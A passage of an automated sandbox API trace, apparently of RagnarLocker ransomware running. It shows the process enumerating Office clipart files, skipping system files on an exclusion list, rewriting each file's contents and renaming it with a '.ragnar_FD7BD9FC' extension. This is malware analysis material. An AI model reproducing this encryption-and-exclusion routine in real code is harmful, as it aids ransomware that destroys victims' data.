lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.372] GetProcessHeap () returned 0x580000 [0091.372] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.372] CloseHandle (hObject=0xf4) returned 1 [0091.373] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" [0091.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.ragnar_FD7BD9FC" [0091.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0091.374] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.374] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00423_.WMF" | out: lpString1="SO00423_.WMF") returned="SO00423_.WMF" [0091.374] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF") returned=".WMF" [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="autorun.inf") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="boot.ini") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="bootfont.bin") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="bootsect.bak") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="bootmgr") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="bootmgr.efi") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="desktop.ini") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="iconcache.db") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="ntldr") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="ntuser.dat") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="ntuser.ini") returned 1 [0091.374] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="thumbs.db") returned -1 [0091.374] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.374] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.374] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.374] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.374] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.374] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.374] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf")) returned 0x20 [0091.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.375] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5180) returned 1 [0091.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1433, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.375] GetProcessHeap () returned 0x580000 [0091.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.375] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.376] VirtualAlloc (lpAddress=0x0, dwSize=0x143c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.377] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x143c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x143c, lpOverlapped=0x0) returned 1 [0091.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.377] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x143c, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.377] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x143c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x143c, lpOverlapped=0x0) returned 1 [0091.378] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x143c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.378] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x143c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.378] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.378] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.378] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.378] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.378] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.378] GetProcessHeap () returned 0x580000 [0091.378] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.378] CloseHandle (hObject=0xf4) returned 1 [0091.378] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" [0091.378] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.ragnar_FD7BD9FC" [0091.378] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0091.379] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.379] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00444_.WMF" | out: lpString1="SO00444_.WMF") returned="SO00444_.WMF" [0091.379] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF") returned=".WMF" [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="autorun.inf") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="boot.ini") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="bootfont.bin") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="bootsect.bak") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="bootmgr") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="bootmgr.efi") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="desktop.ini") returned 1 [0091.379] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="iconcache.db") returned 1 [0091.380] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="ntldr") returned 1 [0091.380] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="ntuser.dat") returned 1 [0091.380] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.380] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="ntuser.ini") returned 1 [0091.380] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="thumbs.db") returned -1 [0091.380] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.380] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.380] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.380] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.380] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.380] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.380] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf")) returned 0x20 [0091.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.380] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5444) returned 1 [0091.380] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x153b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.380] GetProcessHeap () returned 0x580000 [0091.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.381] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.382] VirtualAlloc (lpAddress=0x0, dwSize=0x1544, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.382] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1544, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1544, lpOverlapped=0x0) returned 1 [0091.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.383] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1544, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.383] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1544, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1544, lpOverlapped=0x0) returned 1 [0091.383] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1544, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.383] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.383] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.383] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.383] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.383] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.383] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.384] GetProcessHeap () returned 0x580000 [0091.384] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.384] CloseHandle (hObject=0xf4) returned 1 [0091.384] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" [0091.384] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.ragnar_FD7BD9FC" [0091.384] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.384] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0091.384] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.384] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00452_.WMF" | out: lpString1="SO00452_.WMF") returned="SO00452_.WMF" [0091.384] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF") returned=".WMF" [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="autorun.inf") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="boot.ini") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="bootfont.bin") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="bootsect.bak") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="bootmgr") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="bootmgr.efi") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="desktop.ini") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="iconcache.db") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="ntldr") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="ntuser.dat") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="ntuser.ini") returned 1 [0091.385] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="thumbs.db") returned -1 [0091.385] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.385] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.385] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.385] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.385] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.385] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.385] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf")) returned 0x20 [0091.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.386] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2168) returned 1 [0091.386] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x86f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.386] GetProcessHeap () returned 0x580000 [0091.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.386] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.408] VirtualAlloc (lpAddress=0x0, dwSize=0x878, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.408] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x878, lpOverlapped=0x0) returned 1 [0091.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.408] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x878, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.408] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x878, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x878, lpOverlapped=0x0) returned 1 [0091.409] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x878, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.409] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.409] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x878, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.409] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.409] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.409] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.409] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.409] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.409] GetProcessHeap () returned 0x580000 [0091.409] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.409] CloseHandle (hObject=0xf4) returned 1 [0091.409] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" [0091.409] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft 